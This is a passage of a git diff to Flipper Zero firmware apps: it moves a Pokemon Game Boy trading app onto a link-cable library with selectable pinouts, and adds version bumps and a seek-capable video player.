gblink_clk_source source; + gblink_mode mode; + void (*callback)(void* cb_context, uint8_t in); + void *cb_context; +}; + +void gblink_clk_source_set(void *handle, int clk_source); + +void gblink_speed_set(void *handle, gblink_speed speed); + +void gblink_timeout_set(void *handle, uint32_t us); + +void gblink_transfer(void *handle, uint8_t val); + +void gblink_nobyte_set(void *handle, uint8_t val); + +void gblink_int_enable(void *handle); + +void gblink_int_disable(void *handle); + +void *gblink_alloc(struct gblink_def *gblink_def); + +void gblink_free(void *handle); + +#endif // __GBLINK_H__ diff --git a/applications/external/pkmn_trader/pokemon_app.c b/applications/external/pkmn_trader/pokemon_app.c index 38af6efb4c1..000245b77d1 100644 --- a/applications/external/pkmn_trader/pokemon_app.c +++ b/applications/external/pkmn_trader/pokemon_app.c @@ -2136,6 +2136,20 @@ static void trade_block_free(TradeBlock* trade) { free(trade); } +/* The MALVEKE board has an esp32 which is set to TX on the flipper's default + * UART pins. If this pin shows signs of something connected, assume a MALVEKE + * board is being used. + */ +static bool detect_malveke(void) { + bool rc; + + furi_hal_gpio_init(&gpio_usart_rx, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); + rc = furi_hal_gpio_read(&gpio_usart_rx); + furi_hal_gpio_init_simple(&gpio_usart_rx, GpioModeAnalog); + + return rc; +} + PokemonFap* pokemon_alloc() { PokemonFap* pokemon_fap = (PokemonFap*)malloc(sizeof(PokemonFap)); @@ -2157,6 +2171,11 @@ PokemonFap* pokemon_alloc() { // Set up defaults pokemon_fap->curr_pokemon = 0; pokemon_fap->curr_stats = 0; + pokemon_fap->malveke_detected = detect_malveke(); + memcpy( + &pokemon_fap->pins, + &common_pinouts[pokemon_fap->malveke_detected], + sizeof(struct gblink_pins)); // Set up trade party struct pokemon_fap->trade_block = trade_block_alloc(); @@ -2189,6 +2208,7 @@ PokemonFap* pokemon_alloc() { pokemon_fap->trade = trade_alloc( pokemon_fap->trade_block, pokemon_fap->pokemon_table, + &pokemon_fap->pins, pokemon_fap->view_dispatcher, AppViewTrade); diff --git a/applications/external/pkmn_trader/pokemon_app.h b/applications/external/pkmn_trader/pokemon_app.h index c43e6f3136a..b3795a3eb70 100644 --- a/applications/external/pkmn_trader/pokemon_app.h +++ b/applications/external/pkmn_trader/pokemon_app.h @@ -10,6 +10,7 @@ #include #include #include +#include #include "pokemon_data.h" @@ -75,6 +76,10 @@ struct pokemon_fap { */ TradeBlock* trade_block; + /* Pin definition to actual Game Link Cable interface */ + struct gblink_pins pins; + int malveke_detected; + /* The currently selected pokemon */ int curr_pokemon; diff --git a/applications/external/pkmn_trader/scenes/pokemon_menu.c b/applications/external/pkmn_trader/scenes/pokemon_menu.c index db73bc6b03d..9070e0b8e0f 100644 --- a/applications/external/pkmn_trader/scenes/pokemon_menu.c +++ b/applications/external/pkmn_trader/scenes/pokemon_menu.c @@ -11,6 +11,7 @@ #include "pokemon_ot_id.h" #include "pokemon_ot_name.h" #include "pokemon_trade.h" +#include "pokemon_pins.h" static void scene_change_from_main_cb(void* context, uint32_t index) { PokemonFap* pokemon_fap = (PokemonFap*)context; @@ -95,6 +96,12 @@ void main_menu_scene_on_enter(void* context) { pokemon_fap->submenu, buf, SelectOTNameScene, scene_change_from_main_cb, pokemon_fap); submenu_add_item( pokemon_fap->submenu, "Trade PKMN", TradeScene, scene_change_from_main_cb, pokemon_fap); + submenu_add_item( + pokemon_fap->submenu, + "Select Pinout", + SelectPinsScene, + scene_change_from_main_cb, + pokemon_fap); submenu_set_selected_item( pokemon_fap->submenu, @@ -128,6 +135,7 @@ void (*const pokemon_scene_on_enter_handlers[])(void*) = { select_ot_id_scene_on_enter, select_ot_name_scene_on_enter, trade_scene_on_enter, + select_pins_scene_on_enter, }; void (*const pokemon_scene_on_exit_handlers[])(void*) = { @@ -143,6 +151,7 @@ void (*const pokemon_scene_on_exit_handlers[])(void*) = { select_ot_id_scene_on_exit, select_ot_name_scene_on_exit, null_scene_on_exit, + select_pins_scene_on_exit, }; bool (*const pokemon_scene_on_event_handlers[])(void*, SceneManagerEvent) = { @@ -158,6 +167,7 @@ bool (*const pokemon_scene_on_event_handlers[])(void*, SceneManagerEvent) = { null_scene_on_event, null_scene_on_event, null_scene_on_event, + null_scene_on_event, }; const SceneManagerHandlers pokemon_scene_manager_handlers = { diff --git a/applications/external/pkmn_trader/scenes/pokemon_menu.h b/applications/external/pkmn_trader/scenes/pokemon_menu.h index beedb6fa702..b4f6223d9bc 100644 --- a/applications/external/pkmn_trader/scenes/pokemon_menu.h +++ b/applications/external/pkmn_trader/scenes/pokemon_menu.h @@ -18,6 +18,7 @@ typedef enum { SelectOTIDScene, SelectOTNameScene, TradeScene, + SelectPinsScene, SceneCount, } AppScene; diff --git a/applications/external/pkmn_trader/scenes/pokemon_pins.c b/applications/external/pkmn_trader/scenes/pokemon_pins.c new file mode 100644 index 00000000000..09e5ad31ef1 --- /dev/null +++ b/applications/external/pkmn_trader/scenes/pokemon_pins.c @@ -0,0 +1,169 @@ +#include +#include + +#include "../pokemon_app.h" +#include "pokemon_menu.h" + +struct named_pins { + const char* text; + const GpioPin* pin; +}; + +static const struct named_pins named_pins[] = { + {"PA7", &gpio_ext_pa7}, + {"PA6", &gpio_ext_pa6}, + {"PA4", &gpio_ext_pa4}, + {"PB3", &gpio_ext_pb3}, + {"PB2", &gpio_ext_pb2}, + {"PC3", &gpio_ext_pc3}, + {"PC1", &gpio_ext_pc1}, + {"PC0", &gpio_ext_pc0}, + {}, +}; + +#define NUM_PINS 8 + +/* This must match gblink's enum order */ +static const char* named_groups[] = { + "Original", + "Malveke", + "Custom", + "", +}; + +struct itemlist_builder { + VariableItem* named; + VariableItem* serin; + VariableItem* serout; + VariableItem* clk; + uint8_t named_index; + uint8_t serin_index; + uint8_t serout_index; + uint8_t clk_index; +}; + +/* Just make it a global, whatever */ +static struct itemlist_builder builder = {0}; +static void select_pins_rebuild_list(PokemonFap* pokemon_fap); + +static void select_pins_set(PokemonFap* pokemon_fap) { + pokemon_fap->pins.serin = named_pins[builder.serin_index].pin; + pokemon_fap->pins.serout = named_pins[builder.serout_index].pin; + pokemon_fap->pins.clk = named_pins[builder.clk_index].pin; +} + +static void select_named_group_callback(VariableItem* item) { + uint8_t index = variable_item_get_current_value_index(item); + PokemonFap* pokemon_fap = variable_item_get_context(item); + + variable_item_set_current_value_text(item, named_groups[index]); + builder.named_index = index; + select_pins_rebuild_list(pokemon_fap); + variable_item_list_set_selected_item(pokemon_fap->variable_item_list, 0); +} + +static void select_pins_serin_callback(VariableItem* item) { + uint8_t index = variable_item_get_current_value_index(item); + PokemonFap* pokemon_fap = variable_item_get_context(item); + + variable_item_set_current_value_text(item, named_pins[index].text); + builder.serin_index = index; + select_pins_rebuild_list(pokemon_fap); + variable_item_list_set_selected_item(pokemon_fap->variable_item_list, 1); +} + +static void select_pins_serout_callback(VariableItem* item) { + uint8_t index = variable_item_get_current_value_index(item); + PokemonFap* pokemon_fap = variable_item_get_context(item); + + variable_item_set_current_value_text(item, named_pins[index].text); + builder.serout_index = index; + select_pins_rebuild_list(pokemon_fap); + variable_item_list_set_selected_item(pokemon_fap->variable_item_list, 2); +} + +static void select_pins_clk_callback(VariableItem* item) { + uint8_t index = variable_item_get_current_value_index(item); + PokemonFap* pokemon_fap = variable_item_get_context(item); + + variable_item_set_current_value_text(item, named_pins[index].text); + builder.clk_index = index; + select_pins_rebuild_list(pokemon_fap); + variable_item_list_set_selected_item(pokemon_fap->variable_item_list, 3); +} + +static void select_pins_rebuild_list(PokemonFap* pokemon_fap) { + int num; + + /* HACK: TODO: It would be better to do this programmatically, but, I'm kind + * of done working on this feature so its going to be hardcoded for now. + */ + switch(builder.named_index) { + case 0: // Original + num = 1; + builder.serin_index = 5; + builder.serout_index = 3; + builder.clk_index = 4; + break; + case 1: // MALVEKE + num = 1; + builder.serin_index = 1; + builder.serout_index = 0; + builder.clk_index = 3; + break; + default: + num = NUM_PINS; + break; + } + + /* HACK: */ + pokemon_fap->malveke_detected = builder.named_index; + + select_pins_set(pokemon_fap); + + variable_item_list_reset(pokemon_fap->variable_item_list); + + builder.named = variable_item_list_add( + pokemon_fap->variable_item_list, "Mode", 3, select_named_group_callback, pokemon_fap); + builder.serin = variable_item_list_add( + pokemon_fap->variable_item_list, "SI:", num, select_pins_serin_callback, pokemon_fap); + builder.serout = variable_item_list_add( + pokemon_fap->variable_item_list, "SO:", num, select_pins_serout_callback, pokemon_fap); + builder.clk = variable_item_list_add( + pokemon_fap->variable_item_list, "CLK:", num, select_pins_clk_callback, pokemon_fap); + + variable_item_set_current_value_index(builder.named, builder.named_index); + variable_item_set_current_value_text(builder.named, named_groups[builder.named_index]); + + variable_item_set_current_value_index(builder.serin, (num == 1 ? 0 : builder.serin_index)); + variable_item_set_current_value_text(builder.serin, named_pins[builder.serin_index].text); + + variable_item_set_current_value_index(builder.serout, (num == 1 ? 0 : builder.serout_index)); + variable_item_set_current_value_text(builder.serout, named_pins[builder.serout_index].text); + + variable_item_set_current_value_index(builder.clk, (num == 1 ? 0 : builder.clk_index)); + variable_item_set_current_value_text(builder.clk, named_pins[builder.clk_index].text); +} + +void select_pins_scene_on_exit(void* context) { + PokemonFap* pokemon_fap = (PokemonFap*)context; + + view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); + view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); +} + +void select_pins_scene_on_enter(void* context) { + PokemonFap* pokemon_fap = (PokemonFap*)context; + + /* TODO: Figure out what defaults we should use for pins based on attached board! */ + /* HACK: */ + if(builder.named_index < 2) builder.named_index = pokemon_fap->malveke_detected; + + select_pins_rebuild_list(pokemon_fap); + + view_dispatcher_add_view( + pokemon_fap->view_dispatcher, + AppViewOpts, + variable_item_list_get_view(pokemon_fap->variable_item_list)); + view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); +} diff --git a/applications/external/pkmn_trader/scenes/pokemon_pins.h b/applications/external/pkmn_trader/scenes/pokemon_pins.h new file mode 100644 index 00000000000..3d1b8b4b367 --- /dev/null +++ b/applications/external/pkmn_trader/scenes/pokemon_pins.h @@ -0,0 +1,9 @@ +#ifndef POKEMON_PINS_H +#define POKEMON_PINS_H + +#pragma once + +void select_pins_scene_on_enter(void* context); +void select_pins_scene_on_exit(void* context); + +#endif // POKEMON_PINS_H diff --git a/applications/external/pkmn_trader/views/trade.c b/applications/external/pkmn_trader/views/trade.c index 1cc09edb605..273e598187d 100644 --- a/applications/external/pkmn_trader/views/trade.c +++ b/applications/external/pkmn_trader/views/trade.c @@ -83,14 +83,11 @@ #include #include +#include #include "../pokemon_app.h" #include "trade_patch_list.h" -#define GAME_BOY_CLK gpio_ext_pb2 -#define GAME_BOY_SI gpio_ext_pc3 -#define GAME_BOY_SO gpio_ext_pb3 - #define DELAY_MICROSECONDS 15 #define PKMN_BLANK 0x00 @@ -167,6 +164,8 @@ struct trade_ctx { TradeBlock* input_block; const PokemonTable* pokemon_table; struct patch_list* patch_list; + void* gblink_handle; + struct gblink_pins* gblink_pins; }; /* These are the needed variables for the draw callback */ @@ -629,7 +628,7 @@ static uint8_t getTradeCentreResponse(struct trade_ctx* trade) { return send; } -void transferBit(void* context) { +static void transferBit(void* context, uint8_t in_byte) { furi_assert(context); struct trade_ctx* trade = (struct trade_ctx*)context; @@ -638,58 +637,23 @@ void transferBit(void* context) { with_view_model( trade->view, struct trade_model * model, { status = model->gameboy_status; }, false); - /* Shift data in every clock */ - trade->in_data <<= 1; - trade->in_data |= furi_hal_gpio_read(&GAME_BOY_SI); - trade->shift++; + trade->in_data = in_byte; /* Once a byte of data has been shifted in, process it */ - if(trade->shift == 8) { - trade->shift = 0; - switch(status) { - case GAMEBOY_CONN_FALSE: - trade->out_data = getConnectResponse(trade); - break; - case GAMEBOY_CONN_TRUE: - trade->out_data = getMenuResponse(trade); - break; - case GAMEBOY_COLOSSEUM: - trade->out_data = trade->in_data; - break; - /* Every other state is trade related */ - default: - trade->out_data = getTradeCentreResponse(trade); - break; - } - } -} - -void input_clk_gameboy(void* context) { - furi_assert(context); - - struct trade_ctx* trade = (struct trade_ctx*)context; - static uint32_t time; - /* Clocks idle between bytes is nominally 430 us long for burst data, - * 15 ms for idle polling (e.g. waiting for menu selection), some oddball - * 2 ms gaps that appears between one 0xFE byte from the Game Boy every trade; - * clock period is nominally 122 us. - * Therefore, if we haven't seen a clock in 500 us, reset our bit counter. - * Note that, this should never actually be a concern, but it is an additional - * safeguard against desyncing. - */ - const uint32_t time_ticks = furi_hal_cortex_instructions_per_microsecond() * 500; - - if(furi_hal_gpio_read(&GAME_BOY_CLK)) { - if((DWT->CYCCNT - time) > time_ticks) { - trade->in_data = 0; - trade->shift = 0; - } - transferBit(trade); - time = DWT->CYCCNT; - } else { - /* On the falling edge of each clock, set up the next bit */ - furi_hal_gpio_write(&GAME_BOY_SO, !!(trade->out_data & 0x80)); - trade->out_data <<= 1; + switch(status) { + case GAMEBOY_CONN_FALSE: + gblink_transfer(trade->gblink_handle, getConnectResponse(trade)); + break; + case GAMEBOY_CONN_TRUE: + gblink_transfer(trade->gblink_handle, getMenuResponse(trade)); + break; + case GAMEBOY_COLOSSEUM: + gblink_transfer(trade->gblink_handle, in_byte); + break; + /* Every other state is trade related */ + default: + gblink_transfer(trade->gblink_handle, getTradeCentreResponse(trade)); + break; } } @@ -697,6 +661,7 @@ void trade_enter_callback(void* context) { furi_assert(context); struct trade_ctx* trade = (struct trade_ctx*)context; struct trade_model* model; + struct gblink_def gblink_def = {0}; model = view_get_model(trade->view); @@ -713,9 +678,15 @@ void trade_enter_callback(void* context) { view_commit_model(trade->view, true); - trade->in_data = 0; - trade->out_data = 0; - trade->shift = 0; + /* TODO: This should be moved further back to struct pokemon_fap for whole + * app flexibility since it would probably be written to by a different scene + */ + gblink_def.pins = trade->gblink_pins; + gblink_def.callback = transferBit; + gblink_def.cb_context = trade; + + trade->gblink_handle = gblink_alloc(&gblink_def); + gblink_nobyte_set(trade->gblink_handle, SERIAL_NO_DATA_BYTE); /* Every 250 ms, trigger a draw update. 250 ms was chosen so that during * the trade process, each update can flip the LED and screen to make the @@ -724,18 +695,6 @@ void trade_enter_callback(void* context) { trade->draw_timer = furi_timer_alloc(trade_draw_timer_callback, FuriTimerTypePeriodic, trade); furi_timer_start(trade->draw_timer, furi_ms_to_ticks(250)); - // B3 (Pin6) / SO (2) - furi_hal_gpio_write(&GAME_BOY_SO, false); - furi_hal_gpio_init(&GAME_BOY_SO, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - // B2 (Pin5) / SI (3) - furi_hal_gpio_write(&GAME_BOY_SI, false); - furi_hal_gpio_init(&GAME_BOY_SI, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - // // C3 (Pin7) / CLK (5) - furi_hal_gpio_init(&GAME_BOY_CLK, GpioModeInterruptRiseFall, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_gpio_remove_int_callback(&GAME_BOY_CLK); - - furi_hal_gpio_add_int_callback(&GAME_BOY_CLK, input_clk_gameboy, trade); - /* Create a trade patch list from the current trade block */ plist_create(&(trade->patch_list), trade->trade_block); } @@ -758,9 +717,8 @@ void trade_exit_callback(void* context) { furi_timer_free(trade->draw_timer); trade->draw_timer = NULL; - /* Unset our interrupt callback */ - furi_hal_gpio_remove_int_callback(&GAME_BOY_CLK); - disconnect_pin(&GAME_BOY_CLK); + /* Unset the pin settings */ + gblink_free(trade->gblink_handle); /* Destroy the patch list, it is allocated on the enter callback */ plist_free(trade->patch_list); @@ -770,6 +728,7 @@ void trade_exit_callback(void* context) { void* trade_alloc( TradeBlock* trade_block, const PokemonTable* table, + struct gblink_pins* gblink_pins, ViewDispatcher* view_dispatcher, uint32_t view_id) { furi_assert(trade_block); @@ -782,6 +741,7 @@ void* trade_alloc( trade->input_block = malloc(sizeof(TradeBlock)); trade->pokemon_table = table; trade->patch_list = NULL; + trade->gblink_pins = gblink_pins; view_set_context(trade->view, trade); view_allocate_model(trade->view, ViewModelTypeLockFree, sizeof(struct trade_model)); diff --git a/applications/external/pkmn_trader/views/trade.h b/applications/external/pkmn_trader/views/trade.h index 7092d11bf9a..8aa32f5c937 100644 --- a/applications/external/pkmn_trader/views/trade.h +++ b/applications/external/pkmn_trader/views/trade.h @@ -9,6 +9,7 @@ void* trade_alloc( TradeBlock* trade_block, const PokemonTable* table, + struct gblink_pins* gblink_pins, ViewDispatcher* view_dispatcher, uint32_t view_id); diff --git a/applications/external/qrcode/.github/workflows/release.yml b/applications/external/qrcode/.github/workflows/release.yml index 5805a747d13..8ad0d731149 100644 --- a/applications/external/qrcode/.github/workflows/release.yml +++ b/applications/external/qrcode/.github/workflows/release.yml @@ -6,7 +6,7 @@ on: - 'v[0-9]+.[0-9]+.[0-9]+' env: - firmware_version: '0.95.0' + firmware_version: '0.96.1' jobs: build: diff --git a/applications/external/sokoban/application.fam b/applications/external/sokoban/application.fam index 10b66f096f9..562070e99b2 100644 --- a/applications/external/sokoban/application.fam +++ b/applications/external/sokoban/application.fam @@ -11,6 +11,6 @@ App( fap_file_assets="levels", fap_author="Racso", fap_weburl="https://games.by.rac.so/flipper-zero", - fap_version="1.1", + fap_version="1.2", fap_description="Sokoban on Flipper Zero. Solve your path to victory!", ) diff --git a/applications/external/sokoban/release/changelog.md b/applications/external/sokoban/release/changelog.md index b4d64eac58d..d3a2c92f073 100644 --- a/applications/external/sokoban/release/changelog.md +++ b/applications/external/sokoban/release/changelog.md @@ -1,3 +1,6 @@ +## v1.2 +- Fixed error when updating to the latest API version. + ## v1.1 - Fixed error when reading some levels. diff --git a/applications/external/sokoban/scripts/wave/scene_management.h b/applications/external/sokoban/scripts/wave/scene_management.h index 2a2eb802a89..9ef4df59947 100644 --- a/applications/external/sokoban/scripts/wave/scene_management.h +++ b/applications/external/sokoban/scripts/wave/scene_management.h @@ -1,3 +1,5 @@ +#pragma once + #include #include @@ -28,4 +30,4 @@ void scene_manager_register_scene(SceneManager* sm, int id, Scene* scene); void scene_manager_set_scene(SceneManager* sm, int id); void scene_manager_tick(SceneManager* sm); int scene_manager_get_current_scene_id(SceneManager* sm); -bool scene_manager_has_scene(SceneManager* sm); \ No newline at end of file +bool scene_manager_has_scene(SceneManager* sm); diff --git a/applications/external/step_counter/README.md b/applications/external/step_counter/README.md index 2accf342354..b3d80e2879d 100644 --- a/applications/external/step_counter/README.md +++ b/applications/external/step_counter/README.md @@ -26,4 +26,4 @@ TODO List: - [ ] Add a management of the possible errors - [ ] Add the possibility to restart the counting - [ ] Add the possibility to set a daily/weekly GOAL to reach -- [ ] Add the possibility to save dayly results in files at the path: apps_data/stepcounter, to comtìpare them and improve (interacting with calendar FAP? maybe...) +- [ ] Add the possibility to save dayly results in files at the path: apps_data/stepcounter diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c index 27307b2fd60..d88a8fb7eea 100644 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c +++ b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c @@ -79,7 +79,7 @@ bool totp_scene_authenticate_handle_event( return true; } - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { + if(event->input.type == InputTypePress && event->input.key == InputKeyBack) { return false; } diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index 5779fbbde78..45167f05a11 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -335,7 +335,7 @@ bool totp_scene_generate_token_handle_event( return true; } - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { + if(event->input.type == InputTypePress && event->input.key == InputKeyBack) { return false; } diff --git a/applications/external/ultimate_tic_tac_toe/application.fam b/applications/external/ultimate_tic_tac_toe/application.fam index 9f7a46df89e..f446346e140 100644 --- a/applications/external/ultimate_tic_tac_toe/application.fam +++ b/applications/external/ultimate_tic_tac_toe/application.fam @@ -9,6 +9,6 @@ App( fap_icon_assets="images", fap_author="Racso", fap_weburl="https://github.com/Racso/fzero-apps", - fap_version="1.0", + fap_version="1.1", fap_description="Ultimate Tic-Tac-Toe: play on a big board, where each square is a Tic-Tac-Toe board itself!", ) diff --git a/applications/external/ultimate_tic_tac_toe/release/changelog.md b/applications/external/ultimate_tic_tac_toe/release/changelog.md index 59136bb42b9..d234db8f446 100644 --- a/applications/external/ultimate_tic_tac_toe/release/changelog.md +++ b/applications/external/ultimate_tic_tac_toe/release/changelog.md @@ -1,3 +1,6 @@ +## v1.1 +- Fixed error when updating to the latest API version. + ## v1.0 - Initial release. diff --git a/applications/external/ultimate_tic_tac_toe/scripts/scene_management.h b/applications/external/ultimate_tic_tac_toe/scripts/scene_management.h index d10124594f7..efa6284123a 100644 --- a/applications/external/ultimate_tic_tac_toe/scripts/scene_management.h +++ b/applications/external/ultimate_tic_tac_toe/scripts/scene_management.h @@ -1,3 +1,5 @@ +#pragma once + #include #include @@ -25,4 +27,4 @@ void scene_manager_register_scene(SceneManager* sm, int id, Scene* scene); void scene_manager_set_scene(SceneManager* sm, int id); void scene_manager_tick(SceneManager* sm); int scene_manager_get_current_scene_id(SceneManager* sm); -bool scene_manager_has_scene(SceneManager* sm); \ No newline at end of file +bool scene_manager_has_scene(SceneManager* sm); diff --git a/applications/external/video_player/.makefile_project_converter/conv.exe b/applications/external/video_player/.makefile_project_converter/conv.exe index e3d98f9b0d1..4794be04b87 100644 Binary files a/applications/external/video_player/.makefile_project_converter/conv.exe and b/applications/external/video_player/.makefile_project_converter/conv.exe differ diff --git a/applications/external/video_player/application.fam b/applications/external/video_player/application.fam index 642dfecf775..9636a2967e8 100644 --- a/applications/external/video_player/application.fam +++ b/applications/external/video_player/application.fam @@ -10,6 +10,6 @@ App( fap_icon_assets_symbol="video_player", fap_author="LTVA", fap_weburl="https://github.com/LTVA1/flipper_video_player", - fap_version=(0, 1), + fap_version=(0, 2), fap_description="An app that plays video along with sound on Flipper Zero.", ) diff --git a/applications/external/video_player/docs/changelog.md b/applications/external/video_player/docs/changelog.md new file mode 100644 index 00000000000..84ebb98f369 --- /dev/null +++ b/applications/external/video_player/docs/changelog.md @@ -0,0 +1,10 @@ +# Video Player v0.2 # + +## Added ## +- Rewind and fast forward with right and left arrow keys respectively +- Obey device's stealth mode +- If horizontal resolution is less that 128 pixels video is centered on the screen + +# Video Player v0.1 # + +- Initial release \ No newline at end of file diff --git a/applications/external/video_player/init_deinit.c b/applications/external/video_player/init_deinit.c index 0d68aad2e86..12035e81335 100644 --- a/applications/external/video_player/init_deinit.c +++ b/applications/external/video_player/init_deinit.c @@ -61,6 +61,10 @@ void deinit_player(VideoPlayerApp* player) { free(player->buffer); } + if(player->fake_audio_buffer) { + free(player->fake_audio_buffer); + } + furi_pubsub_unsubscribe(player->input, player->input_subscription); player->canvas = NULL; diff --git a/applications/external/video_player/video_player.c b/applications/external/video_player/video_player.c index d307ca0a000..9b2f60f6ccd 100644 --- a/applications/external/video_player/video_player.c +++ b/applications/external/video_player/video_player.c @@ -8,6 +8,7 @@ #include #include #include +#include "furi_hal_rtc.h" void draw_callback(Canvas* canvas, void* ctx) { PlayerViewModel* model = (PlayerViewModel*)ctx; @@ -75,6 +76,32 @@ bool open_file_stream(Stream* stream) { return result; } +void draw_progress_bar(VideoPlayerApp* player) { + canvas_set_color(player->canvas, ColorWhite); + canvas_draw_box(player->canvas, 0, 57, 128, 7); + canvas_set_color(player->canvas, ColorBlack); + canvas_draw_frame(player->canvas, 0, 58, 128, 6); + canvas_draw_box(player->canvas, 1, 59, player->progress, 4); +} + +void draw_all(VideoPlayerApp* player) { + canvas_reset(player->canvas); + + canvas_draw_xbm( + player->canvas, + player->width == 128 ? 0 : (128 - player->width) / 2, + 0, + player->width, + player->height, + player->image_buffer); + + if(player->seeking) { + draw_progress_bar(player); + } + + canvas_commit(player->canvas); +} + int32_t video_player_app(void* p) { UNUSED(p); @@ -84,148 +111,210 @@ int32_t video_player_app(void* p) { UNUSED(st); furi_record_close(RECORD_STORAGE); - VideoPlayerApp* player = init_player(); - - if(open_file_stream(player->stream)) { - } + bool exit = false; - else { - player->quit = true; - //goto end; - } - - if(!(player->quit)) { - char header[8]; - header[7] = '\0'; - stream_read(player->stream, (uint8_t*)header, 7); - - if(strcmp(header, "BND!VID") != 0) { + while(!exit) { + VideoPlayerApp* player = init_player(); + if(open_file_stream(player->stream)) { + player->quit = false; + } else { player->quit = true; - //goto end; + exit = true; } - stream_read(player->stream, (uint8_t*)&player->version, sizeof(player->version)); - stream_read(player->stream, (uint8_t*)&player->num_frames, sizeof(player->num_frames)); - stream_read( - player->stream, (uint8_t*)&player->audio_chunk_size, sizeof(player->audio_chunk_size)); - stream_read(player->stream, (uint8_t*)&player->sample_rate, sizeof(player->sample_rate)); - stream_read(player->stream, &player->height, sizeof(player->height)); - stream_read(player->stream, &player->width, sizeof(player->width)); - - player->buffer = (uint8_t*)malloc( - player->audio_chunk_size * 2 + (uint32_t)player->height * (uint32_t)player->width / 8); - memset( - player->buffer, - 0, - player->audio_chunk_size * 2 + (uint32_t)player->height * (uint32_t)player->width / 8); - - player->image_buffer_length = (uint32_t)player->height * (uint32_t)player->width / 8; - player->audio_buffer = (uint8_t*)&player->buffer[player->image_buffer_length]; - player->image_buffer = player->buffer; - } - - if(furi_hal_speaker_acquire(1000)) { if(!(player->quit)) { - player_init_hardware_and_play(player); - } + char header[8]; + header[7] = '\0'; + stream_read(player->stream, (uint8_t*)header, 7); - // Текущее Ñобытие типа каÑтомного типа VideoPlayerEvent - VideoPlayerEvent event; + if(strcmp(header, "BND!VID") != 0) { + player->quit = true; + } - //view_dispatcher_switch_to_view(player->view_dispatcher, VIEW_PLAYER); + stream_read(player->stream, (uint8_t*)&player->version, sizeof(player->version)); + stream_read(player->stream, (uint8_t*)&player->num_frames, sizeof(player->num_frames)); + stream_read( + player->stream, + (uint8_t*)&player->audio_chunk_size, + sizeof(player->audio_chunk_size)); + stream_read( + player->stream, (uint8_t*)&player->sample_rate, sizeof(player->sample_rate)); + stream_read(player->stream, &player->height, sizeof(player->height)); + stream_read(player->stream, &player->width, sizeof(player->width)); + + player->header_size = stream_tell(player->stream); + + player->buffer = (uint8_t*)malloc( + player->audio_chunk_size * 2 + + (uint32_t)player->height * (uint32_t)player->width / 8); + memset( + player->buffer, + 0, + player->audio_chunk_size * 2 + + (uint32_t)player->height * (uint32_t)player->width / 8); + + player->image_buffer_length = (uint32_t)player->height * (uint32_t)player->width / 8; + player->audio_buffer = (uint8_t*)&player->buffer[player->image_buffer_length]; + player->image_buffer = player->buffer; + + player->fake_audio_buffer = (uint8_t*)malloc(player->audio_chunk_size * 2); + + player->frame_size = + player->audio_chunk_size + player->image_buffer_length; //for seeking + player->frames_per_turn = player->num_frames / 126; + + player->silent = furi_hal_rtc_is_flag_set(FuriHalRtcFlagStealthMode); + } - //switch from view dispatcher to direct draw - view_dispatcher_remove_view(player->view_dispatcher, VIEW_PLAYER); + if(furi_hal_speaker_acquire(1000)) { + if(!(player->quit)) { + player_init_hardware_and_play(player); + } - view_dispatcher_free(player->view_dispatcher); + // Текущее Ñобытие типа каÑтомного типа VideoPlayerEvent + VideoPlayerEvent event; - player_view_free(player->player_view); - furi_record_close(RECORD_GUI); + //view_dispatcher_switch_to_view(player->view_dispatcher, VIEW_PLAYER); - player->input = furi_record_open(RECORD_INPUT_EVENTS); - player->gui = furi_record_open(RECORD_GUI); - player->canvas = gui_direct_draw_acquire(player->gui); + //switch from view dispatcher to direct draw + view_dispatcher_remove_view(player->view_dispatcher, VIEW_PLAYER); - player->input_subscription = - furi_pubsub_subscribe(player->input, direct_input_callback, player); + view_dispatcher_free(player->view_dispatcher); - if(player->quit) { - deinit_player(player); - player_deinit_hardware(); - return 0; - } + player_view_free(player->player_view); + furi_record_close(RECORD_GUI); - player->playing = true; + player->input = furi_record_open(RECORD_INPUT_EVENTS); + player->gui = furi_record_open(RECORD_GUI); + player->canvas = gui_direct_draw_acquire(player->gui); - //vTaskPrioritySet(furi_thread_get_current_id(), FuriThreadPriorityIdle); - furi_thread_set_current_priority(FuriThreadPriorityIdle); + player->input_subscription = + furi_pubsub_subscribe(player->input, direct_input_callback, player); - while(!(player->quit)) { - furi_check( - furi_message_queue_get(player->event_queue, &event, FuriWaitForever) == - FuriStatusOk); + if(player->quit) { + deinit_player(player); + player_deinit_hardware(); + return 0; + } - if(event.type == EventTypeInput) { - if(event.input.key == InputKeyBack) { - player->quit = true; + player->playing = true; + + //vTaskPrioritySet(furi_thread_get_current_id(), FuriThreadPriorityIdle); + furi_thread_set_current_priority(FuriThreadPriorityIdle); + + while(!(player->quit)) { + furi_check( + furi_message_queue_get(player->event_queue, &event, FuriWaitForever) == + FuriStatusOk); + + if(event.type == EventTypeInput) { + if(event.input.key == InputKeyBack) { + player->quit = true; + } + + if(event.input.key == InputKeyOk) { + player->playing = !player->playing; + } + + if(event.input.key == InputKeyLeft) { + player->seeking = true; + int32_t seek = CLAMP( + (int32_t)stream_tell(player->stream) - + player->frames_per_turn * player->frame_size, + (int32_t)player->num_frames * player->frame_size + player->header_size, + player->header_size); + stream_seek(player->stream, seek, StreamOffsetFromStart); + + player->progress = (uint8_t)((int64_t)stream_tell(player->stream) * (int64_t)126 / ((int64_t)player->num_frames * (int64_t)player->frame_size + (int64_t)player->header_size)); + + if(event.input.type == InputTypeRelease) { + player->seeking = false; + } + + static VideoPlayerEvent event = {.type = EventTypeJustRedraw}; + 